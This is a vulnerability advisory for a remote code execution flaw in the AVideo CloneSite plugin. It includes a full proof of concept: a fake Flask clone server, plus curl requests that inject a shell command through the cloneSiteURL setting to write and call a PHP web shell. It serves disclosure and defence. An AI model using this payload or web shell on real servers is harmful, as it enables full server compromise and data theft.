WWBN AVideo: RCE cause by clonesite plugin
Description
Summary
The cloneServer.json.php endpoint in the CloneSite plugin constructs shell commands using user-controlled input (url parameter) without proper sanitization. The input is directly concatenated into a wget command executed via exec(), allowing command injection.
An attacker can inject arbitrary shell commands by breaking out of the intended URL context using shell metacharacters (e.g., ;). This leads to Remote Code Execution (RCE) on the server.
Details
Inside plugin/CloneSite/cloneClient.json.php(line112) didn't have proper sanitization
$objClone->cloneSiteURL = str_replace("'", '', escapeshellarg($objClone->cloneSiteURL));
use str_replace make ' added by escapeshellarg become so hacker can inject evil cloneSiteURL to rce
$sqlURL = "{$objClone->cloneSiteURL}videos/clones/{$json->sqlFile}"; \\116
$cmd = "wget -O {$sqlFile} {$sqlURL}"; \\117
exec($cmd . " 2>&1", $output, $return_val); \\119
The attack flow
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make a evil site to provide date
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add evil url in
objects/pluginAddDataObject.json.php -
access
plugin/CloneSite/cloneClient.json.phpto trigger rce
Poc
make a evil site use python like this
from flask import Flask, jsonify, request
app = Flask(__name__)
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch_all(path):
print("PATH:", path)
return jsonify({
"error": False,
"msg": "",
"url": "http://target-site.com/",
"key": "target_clone_key",
"useRsync": 0,
"videosDir": "/var/www/html/AVideo/videos/",
"sqlFile": "Clone_mysqlDump_evil123.sql",
"videoFiles": [],
"photoFiles": []
})
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8071)
change url with payload like (need admin)
curl -b 'PHPSESSID=<admin_session>'
-X POST "http://127.0.0.1/objects/pluginAddDataObject.json.php" \
-H "Content-Type: application/json" \
-d '{
"cloneSiteURL":"http://127.0.0.1:8071/;echo${IFS}\"<?=system(\\$_POST[1])?>\"${IFS}>1.php;/",
"cloneSiteSSHIP":"127.0.0.1",
"cloneSiteSSHUser":"1",
"cloneSiteSSHPort":"22",
"cloneSiteSSHPassword":{
"type":"encrypted",
"value":"cU1SVkhSVkxqMmxDZlUrSFhNZnRvcFBtTmI3UXNGZ0VFVWxlLzdJL0pjWGFiVXgyb2Iyci9OOE5LN0p6TmN6Zg=="
},
"useRsync":true,
"MaintenanceMode":false,
"myKey":"ba882541262f3202ee5a5ad790ae5b70"
}'
#inject evil code
curl "http://127.0.0.1/plugin/CloneSite/cloneClient.json.php" #trigger rce to write 1.php
curl "http://127.0.0.1/plugin/CloneSite/1.php"
-d '1=id'
#uid=33(www-data) gid=33(www-data) groups=33(www-data) uid=33(www-data) gid=33(www-data) groups=33(www-data)
this payload is to create a web shell
then access plugin/CloneSite/cloneClient.json.php
1.phpwill be created
impact
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Remote Code Execution: An attacker can write arbitrary PHP code to any writable web-accessible directory, achieving full server compromise.
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Full server compromise: With arbitrary PHP execution as the web server user, the attacker can read/modify the database, access all user data, pivot to other services, and potentially escalate privileges on the host.
Recommended Fix
add more powerful sanitization for $objClone->cloneSiteURL
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | wwbn/avideo | <= 29.0 | no fix |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-77, CWE-78- Platform
- Composer
- Package
wwbn/avideo- Disclosed
- 16.04.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-xr6f-h4x7-r6qp - CC BY 4.0
Vulnerability history: wwbn/avideo
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 160
- First → latest
- 04.2022 06.2026
- Without a fix
- 143
- Exploited in attacks
- 0
Severity breakdown
- Critical 14
- High 61
- Medium 83
- Low 2
Disclosures per year
- 2022: 2
- 2023: 5
- 2024: 5
- 2025: 0
- 2026: 148
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